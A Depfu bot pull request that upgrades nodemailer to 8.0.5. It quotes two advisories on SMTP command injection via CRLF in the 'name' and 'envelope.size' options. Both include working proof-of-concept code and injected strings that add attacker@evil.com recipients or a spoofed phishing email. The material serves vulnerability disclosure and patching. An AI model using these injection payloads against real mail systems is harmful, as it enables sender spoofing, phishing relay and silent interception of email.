Skip to content

🚨 [security] Update nodemailer 7.0.11 → 8.0.5 (major)#261

Open
depfu[bot] wants to merge 1 commit intomainfrom
depfu-update-npm-nodemailer-8.0.5
Open

🚨 [security] Update nodemailer 7.0.11 → 8.0.5 (major)#261
depfu[bot] wants to merge 1 commit intomainfrom
depfu-update-npm-nodemailer-8.0.5

Conversation

@depfu
Copy link
Copy Markdown
Contributor

@depfu depfu bot commented Apr 8, 2026


🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!


Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ nodemailer (7.0.11 → 8.0.5) · Repo · Changelog

Security Advisories 🚨

🚨 Nodemailer Vulnerable to SMTP Command Injection via CRLF in Transport name Option (EHLO/HELO)

Summary

Nodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport name configuration option. The name value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (\r\n). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.

Details

The vulnerability exists in lib/smtp-connection/index.js. When establishing an SMTP connection, the name option is concatenated directly into the EHLO command:

// lib/smtp-connection/index.js, line 71
this.name = this.options.name || this._getHostname();

// line 1336
this._sendCommand('EHLO ' + this.name);

The _sendCommand method writes the string directly to the socket followed by \r\n (line 1082):

this._socket.write(Buffer.from(str + '\r\n', 'utf-8'));

If the name option contains \r\n sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the envelope.from and envelope.to fields which are validated for \r\n (line 1107-1119), and unlike envelope.size which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the name parameter receives no CRLF sanitization whatsoever.

This is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (name vs size), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.

The name option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.

PoC

const nodemailer = require('nodemailer');
const net = require('net');

// Simple SMTP server to observe injected commands
const server = net.createServer(socket => {
socket.write('220 test ESMTP\r\n');
socket.on('data', data => {
const lines = data.toString().split('\r\n').filter(l => l);
lines.forEach(line => {
console.log('SMTP CMD:', line);
if (line.startsWith('EHLO') || line.startsWith('HELO'))
socket.write('250 OK\r\n');
else if (line.startsWith('MAIL FROM'))
socket.write('250 OK\r\n');
else if (line.startsWith('RCPT TO'))
socket.write('250 OK\r\n');
else if (line === 'DATA')
socket.write('354 Go\r\n');
else if (line === '.')
socket.write('250 OK\r\n');
else if (line === 'QUIT')
{ socket.write('221 Bye\r\n'); socket.end(); }
else if (line === 'RSET')
socket.write('250 OK\r\n');
});
});
});

server.listen(0, '127.0.0.1', () => {
const port = server.address().port;

<span class="pl-c">// Inject a complete phishing email via EHLO name</span>
<span class="pl-k">const</span> <span class="pl-s1">transport</span> <span class="pl-c1">=</span> <span class="pl-s1">nodemailer</span><span class="pl-kos">.</span><span class="pl-en">createTransport</span><span class="pl-kos">(</span><span class="pl-kos">{</span>
    <span class="pl-c1">host</span>: <span class="pl-s">'127.0.0.1'</span><span class="pl-kos">,</span>
    <span class="pl-c1">port</span>: <span class="pl-s1">port</span><span class="pl-kos">,</span>
    <span class="pl-c1">secure</span>: <span class="pl-c1">false</span><span class="pl-kos">,</span>
    <span class="pl-c1">name</span>: <span class="pl-s">'legit.host\r\nMAIL FROM:&lt;attacker@evil.com&gt;\r\n'</span>
        <span class="pl-c1">+</span> <span class="pl-s">'RCPT TO:&lt;victim@target.com&gt;\r\nDATA\r\n'</span>
        <span class="pl-c1">+</span> <span class="pl-s">'From: ceo@company.com\r\nTo: victim@target.com\r\n'</span>
        <span class="pl-c1">+</span> <span class="pl-s">'Subject: Urgent\r\n\r\nPhishing content\r\n.\r\nRSET'</span>
<span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">;</span>

<span class="pl-s1">transport</span><span class="pl-kos">.</span><span class="pl-en">sendMail</span><span class="pl-kos">(</span><span class="pl-kos">{</span>
    <span class="pl-c1">from</span>: <span class="pl-s">'legit@example.com'</span><span class="pl-kos">,</span>
    <span class="pl-c1">to</span>: <span class="pl-s">'legit-recipient@example.com'</span><span class="pl-kos">,</span>
    <span class="pl-c1">subject</span>: <span class="pl-s">'Normal email'</span><span class="pl-kos">,</span>
    <span class="pl-c1">text</span>: <span class="pl-s">'Normal content'</span>
<span class="pl-kos">}</span><span class="pl-kos">,</span> <span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span> <span class="pl-s1">server</span><span class="pl-kos">.</span><span class="pl-en">close</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">;</span> <span class="pl-s1">process</span><span class="pl-kos">.</span><span class="pl-en">exit</span><span class="pl-kos">(</span><span class="pl-c1">0</span><span class="pl-kos">)</span><span class="pl-kos">;</span> <span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">;</span>

});

Running this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.

Impact

Who is affected: Applications that allow users or external input to configure the name SMTP transport option. This includes:

  • Multi-tenant SaaS platforms with per-tenant SMTP configuration
  • Admin panels where SMTP hostname/name settings are stored in databases
  • Applications loading SMTP config from environment variables or external sources

What can an attacker do:

  1. Send unauthorized emails to arbitrary recipients by injecting MAIL FROM and RCPT TO commands
  2. Spoof email senders by injecting arbitrary From headers in the DATA portion
  3. Conduct phishing attacks using the legitimate SMTP server as a relay
  4. Bypass application-level controls on email recipients, since the injected commands are processed before the application's intended MAIL FROM/RCPT TO
  5. Perform SMTP reconnaissance by injecting commands like VRFY or EXPN

The injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server's trust context.

Recommended fix: Sanitize the name option by stripping or rejecting CRLF sequences, similar to how envelope.from and envelope.to are already validated on lines 1107-1119 of lib/smtp-connection/index.js. For example:

this.name = (this.options.name || this._getHostname()).replace(/[\r\n]/g, '');

🚨 Nodemailer has SMTP command injection due to unsanitized `envelope.size` parameter

Summary

When a custom envelope object is passed to sendMail() with a size property containing CRLF characters (\r\n), the value is concatenated directly into the SMTP MAIL FROM command without sanitization. This allows injection of arbitrary SMTP commands, including RCPT TO — silently adding attacker-controlled recipients to outgoing emails.

Details

In lib/smtp-connection/index.js (lines 1161-1162), the envelope.size value is concatenated into the SMTP MAIL FROM command without any CRLF sanitization:

if (this._envelope.size && this._supportedExtensions.includes('SIZE')) {
    args.push('SIZE=' + this._envelope.size);
}

This contrasts with other envelope parameters in the same function that ARE properly sanitized:

  • Addresses (from, to): validated for [\r\n<>] at lines 1107-1127
  • DSN parameters (dsn.ret, dsn.envid, dsn.orcpt): encoded via encodeXText() at lines 1167-1183

The size property reaches this code path through MimeNode.setEnvelope() in lib/mime-node/index.js (lines 854-858), which copies all non-standard envelope properties verbatim:

const standardFields = ['to', 'cc', 'bcc', 'from'];
Object.keys(envelope).forEach(key => {
    if (!standardFields.includes(key)) {
        this._envelope[key] = envelope[key];
    }
});

Since _sendCommand() writes the command string followed by \r\n to the raw TCP socket, a CRLF in the size value terminates the MAIL FROM command and starts a new SMTP command.

Note: by default, Nodemailer constructs the envelope automatically from the message's from/to fields and does not include size. This vulnerability requires the application to explicitly pass a custom envelope object with a size property to sendMail().
While this limits the attack surface, applications that expose envelope configuration to users are affected.

PoC

ave the following as poc.js and run with node poc.js:

const net = require('net');
const nodemailer = require('nodemailer');

// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
socket.write('220 localhost ESMTP\r\n');
let buffer = '';
socket.on('data', chunk => {
buffer += chunk.toString();
const lines = buffer.split('\r\n');
buffer = lines.pop();
for (const line of lines) {
if (!line) continue;
console.log('C:', line);
if (line.startsWith('EHLO')) {
socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
} else if (line.startsWith('MAIL FROM')) {
socket.write('250 OK\r\n');
} else if (line.startsWith('RCPT TO')) {
socket.write('250 OK\r\n');
} else if (line === 'DATA') {
socket.write('354 Start\r\n');
} else if (line === '.') {
socket.write('250 OK\r\n');
} else if (line.startsWith('QUIT')) {
socket.write('221 Bye\r\n');
socket.end();
}
}
});
});

server.listen(0, '127.0.0.1', () => {
const port = server.address().port;
console.log('SMTP server on port', port);
console.log('Sending email with injected RCPT TO...\n');

<span class="pl-k">const</span> <span class="pl-s1">transporter</span> <span class="pl-c1">=</span> <span class="pl-s1">nodemailer</span><span class="pl-kos">.</span><span class="pl-en">createTransport</span><span class="pl-kos">(</span><span class="pl-kos">{</span>
    <span class="pl-c1">host</span>: <span class="pl-s">'127.0.0.1'</span><span class="pl-kos">,</span>
    port<span class="pl-kos">,</span>
    <span class="pl-c1">secure</span>: <span class="pl-c1">false</span><span class="pl-kos">,</span>
    <span class="pl-c1">tls</span>: <span class="pl-kos">{</span> <span class="pl-c1">rejectUnauthorized</span>: <span class="pl-c1">false</span> <span class="pl-kos">}</span><span class="pl-kos">,</span>
<span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">;</span>

<span class="pl-s1">transporter</span><span class="pl-kos">.</span><span class="pl-en">sendMail</span><span class="pl-kos">(</span><span class="pl-kos">{</span>
    <span class="pl-c1">from</span>: <span class="pl-s">'sender@example.com'</span><span class="pl-kos">,</span>
    <span class="pl-c1">to</span>: <span class="pl-s">'recipient@example.com'</span><span class="pl-kos">,</span>
    <span class="pl-c1">subject</span>: <span class="pl-s">'Normal email'</span><span class="pl-kos">,</span>
    <span class="pl-c1">text</span>: <span class="pl-s">'This is a normal email.'</span><span class="pl-kos">,</span>
    <span class="pl-c1">envelope</span>: <span class="pl-kos">{</span>
        <span class="pl-c1">from</span>: <span class="pl-s">'sender@example.com'</span><span class="pl-kos">,</span>
        <span class="pl-c1">to</span>: <span class="pl-kos">[</span><span class="pl-s">'recipient@example.com'</span><span class="pl-kos">]</span><span class="pl-kos">,</span>
        <span class="pl-c1">size</span>: <span class="pl-s">'100\r\nRCPT TO:&lt;attacker@evil.com&gt;'</span><span class="pl-kos">,</span>
    <span class="pl-kos">}</span><span class="pl-kos">,</span>
<span class="pl-kos">}</span><span class="pl-kos">,</span> <span class="pl-kos">(</span><span class="pl-s1">err</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span>
    <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-s1">err</span><span class="pl-kos">)</span> <span class="pl-smi">console</span><span class="pl-kos">.</span><span class="pl-en">error</span><span class="pl-kos">(</span><span class="pl-s">'Error:'</span><span class="pl-kos">,</span> <span class="pl-s1">err</span><span class="pl-kos">.</span><span class="pl-c1">message</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
    <span class="pl-smi">console</span><span class="pl-kos">.</span><span class="pl-en">log</span><span class="pl-kos">(</span><span class="pl-s">'\nExpected output above:'</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
    <span class="pl-smi">console</span><span class="pl-kos">.</span><span class="pl-en">log</span><span class="pl-kos">(</span><span class="pl-s">'  C: MAIL FROM:&lt;sender@example.com&gt; SIZE=100'</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
    <span class="pl-smi">console</span><span class="pl-kos">.</span><span class="pl-en">log</span><span class="pl-kos">(</span><span class="pl-s">'  C: RCPT TO:&lt;attacker@evil.com&gt;        &lt;-- INJECTED'</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
    <span class="pl-smi">console</span><span class="pl-kos">.</span><span class="pl-en">log</span><span class="pl-kos">(</span><span class="pl-s">'  C: RCPT TO:&lt;recipient@example.com&gt;'</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
    <span class="pl-s1">server</span><span class="pl-kos">.</span><span class="pl-en">close</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
    <span class="pl-s1">transporter</span><span class="pl-kos">.</span><span class="pl-en">close</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
<span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">;</span>

});

Expected output:

SMTP server on port 12345
Sending email with injected RCPT TO...

C: EHLO [127.0.0.1]
C: MAIL FROM:<sender@example.com> SIZE=100
C: RCPT TO:<attacker@evil.com>
C: RCPT TO:<recipient@example.com>
C: DATA
...
C: .
C: QUIT

The RCPT TO:<attacker@evil.com> line is injected by the CRLF in the size field, silently adding an extra recipient to the email.

Impact

This is an SMTP command injection vulnerability. An attacker who can influence the envelope.size property in a sendMail() call can:

  • Silently add hidden recipients to outgoing emails via injected RCPT TO commands, receiving copies of all emails sent through the affected transport
  • Inject arbitrary SMTP commands (e.g., RSET, additional MAIL FROM to send entirely separate emails through the server)
  • Leverage the sending organization's SMTP server reputation for spam or phishing delivery

The severity is mitigated by the fact that the envelope object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include size. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.

Affected versions: at least v8.0.3 (current); likely all versions where envelope.size is supported.

Release Notes

8.0.4

8.0.4 (2026-03-25)

Bug Fixes

  • sanitize envelope size to prevent SMTP command injection (2d7b971)

8.0.3

8.0.3 (2026-03-18)

Bug Fixes

  • clean up addressparser and fix group name fallback producing undefined (9d55877)
  • fix cookie bugs, remove dead code, and improve hot-path efficiency (e8c8b92)
  • refactor smtp-connection for clarity and add Node.js 6 syntax compat test (c5b48ea)
  • remove familySupportCache that broke DNS resolution tests (c803d90)

8.0.2

8.0.2 (2026-03-09)

Bug Fixes

  • merge fragmented display names with unquoted commas in addressparser (fe27f7f)

8.0.1

8.0.1 (2026-02-07)

Bug Fixes

  • absorb TLS errors during socket teardown (7f8dde4)
  • absorb TLS errors during socket teardown (381f628)
  • Add Gmail Workspace service configuration (#1787) (dc97ede)

8.0.0

8.0.0 (2026-02-04)

⚠ BREAKING CHANGES

  • Error code 'NoAuth' renamed to 'ENOAUTH'

Bug Fixes

  • add connection fallback to alternative DNS addresses (e726d6f)
  • centralize and standardize error codes (45062ce)
  • harden DNS fallback against race conditions and cleanup issues (4fa3c63)
  • improve socket cleanup to prevent potential memory leaks (6069fdc)

7.0.13

7.0.13 (2026-01-27)

Bug Fixes

  • downgrade transient connection error logs to warn level (4c041db)

7.0.12

7.0.12 (2025-12-22)

Bug Fixes

  • added support for REQUIRETLS (#1793) (053ce6a)
  • use 8bit encoding for message/rfc822 attachments (adf8611)

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 37 commits:


Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)
Go to the Depfu Dashboard to see the state of your dependencies and to customize how Depfu works.

@depfu depfu bot added dependencies Only updates dependecies depfu labels Apr 8, 2026
@depfu depfu bot assigned Tobi2K Apr 8, 2026
@depfu depfu bot added depfu dependencies Only updates dependecies labels Apr 8, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Only updates dependecies depfu

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant